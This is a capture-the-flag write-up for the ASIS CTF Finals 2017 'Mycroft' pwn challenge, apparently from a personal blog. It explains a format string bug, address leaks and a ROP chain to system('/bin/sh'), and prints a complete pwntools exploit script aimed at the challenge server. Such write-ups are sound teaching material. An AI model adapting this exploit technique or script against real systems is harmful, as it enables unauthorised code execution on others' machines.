ASIS CTF Finals 2017 Mycroft writeup

Solved by 4rbit3r

I spent quite some time on this challenge trying to understand its working.

The binary given is quite huge and manages a lot of structure objects.

At first, I thought it might be some vulnerability related to the heap. And I spent a long time trying to reverse engineer the entire binary. After a couple of hours trying to understand the objects used, I got bored and decided to map the functionalities to the functions being called from the main function.

Following up on that, we see that there are couple of commands that are recognized by the binary. They are look, lk, hit, ?, exit, quit, stat, buy, status etc

The function of interest here is the functionality associated with the ‘?’ that starts address 0x4013f7.

It takes in a couple of arguments.

After debugging the program with some random inputs, I found that one of those arguments is a second input we can give alongside the question mark.

If the second input is ‘monsters’ or ‘weapons’, then the binary prints out the details of all the monsters/weapons that are present in the binary.

If the second input is neither of those two, then it simply calls print with that second input leading to a format string bug.

So, all that reverse engineering was a complete waste of time.

Now, moving on to exploiting that vulnerability.

We are allowed to input a maximum of 256 characters including the question mark and the whitespace following it.

Every input is converted into lowercase before being processed further.

We first leak out the addresses of the stack and the libc using the format string bug.

After that, I had an idea to try and overwrite the GOT table entry of free with a one-shot-rce gadget. It worked locally, but didn’t work remotely (constraints weren’t met).

The next idea was to build a whole rop chain using the format string bug.

We could build a rop chain on top of the main’s stack frame to call system(‘/bin/sh’)

A pop rdi; ret gadget was easy to find the in binary, but it is only 32 bits in length. Therefore, we would have to overwrite the 5th and 6th byte from the LSB with nulls which is not possible using format string.

Instead, we could use a pop rdi; ret gadget from the libc which is 48 bits long.

Now after writing the address of /bin/sh and system on top of that, I noticed that the quit functionality was invoking exit() rather than executing a leave; ret.

So, in order to get over that, I overwrote the saved return address of the sub routine that implemented the ‘?’ functionality to point to a leave;ret gadget.

This can be postponed until the rop chain on top of the main’s stack frame is completely set up. And the next time the sub routine is invoked, it’s saved return address get’s overwritten with a leave; ret gadget. And that leads to our rop chain getting executed which pops a shell.

Now this doesn’t work all of the time. If the address of the stack or the libc contain bytes that lie in the region of upper case alphabets, then the script cannot run.

I dunno if the admins actually wanted to make the binary this complicated, or if this was an unintended bug. Anyways, writing the exploit made up for the boredom of reversing the whole binary.

Here’s the script

from pwn import *

prompt = '> '
leave_ret = 0x00400c2a
pop_rdi_ret = 0x2189b
HOST, PORT = '178.62.249.106', 14273


def write_val(addr, val):
    payload = fit({0: '%{}x%160$hn'.format(val), 14: p64(addr)})
    try_payload(payload)


def write_64_bit_val(addr, val):
    for x in xrange(3):
        write_val(addr+(x*2), (val >> (16*x)) & 0xffff)


def try_payload(payload):
    p.sendline("? "+payload)
    return p.recvuntil(">").strip(">")


def validate(addr):
    for x in xrange(6):
        val = (addr >> x) & 0xff
        if val >= 0x41 and val <= 0x5a:
              log.failure("Not possible")
              sys.exit()


if __name__ == "__main__":
    if sys.argv[1] == 'local':
        p = process("./mycroft_holmes", env={"LD_PRELOAD": "./libc.so.6"})
    else:
        p = remote(HOST, PORT)
    p.sendline("s")
    p.recvuntil(">>> ")
    libc = ELF("./libc.so.6")
    output = try_payload('%10$p-%193$p').split("-")
    stack = int(output[0], 16) + 8
    eip = stack - 0x5b0
    log.success("Leaked stack @ {}".format(hex(stack)))
    libc.address = int(output[1], 16) - 0x20830
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    validate(stack)
    validate(libc.address)
    pop_rdi_ret += libc.address
    system = libc.symbols['system']
    binsh = libc.search("/bin/sh").next()
    #
    # The difference between the saved return address of main and
    # pop_rdi gadget is only 2 bytes
    #
    write_val(stack, pop_rdi_ret & 0xffff)
    write_64_bit_val(stack+8, binsh)
    write_64_bit_val(stack+16, system)
    #
    # Binary calls exit if we request to quit
    # So, change saved eip of the sub routine to execute leave; ret;
    # Difference here is, again, less than 2 bytes
    #
    write_val(eip, leave_ret & 0xffff)
    p.interactive()

 

2 thoughts on “ASIS CTF Finals 2017 Mycroft writeup

Add yours

    1. I did think of that. But the address of strtol in the GOT table is 0x604058.
      And 0x58 corresponds to an upper case alphabet (X) which would be converted to 0x78 (x).
      Didn’t find a way to circumvent that.

      Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: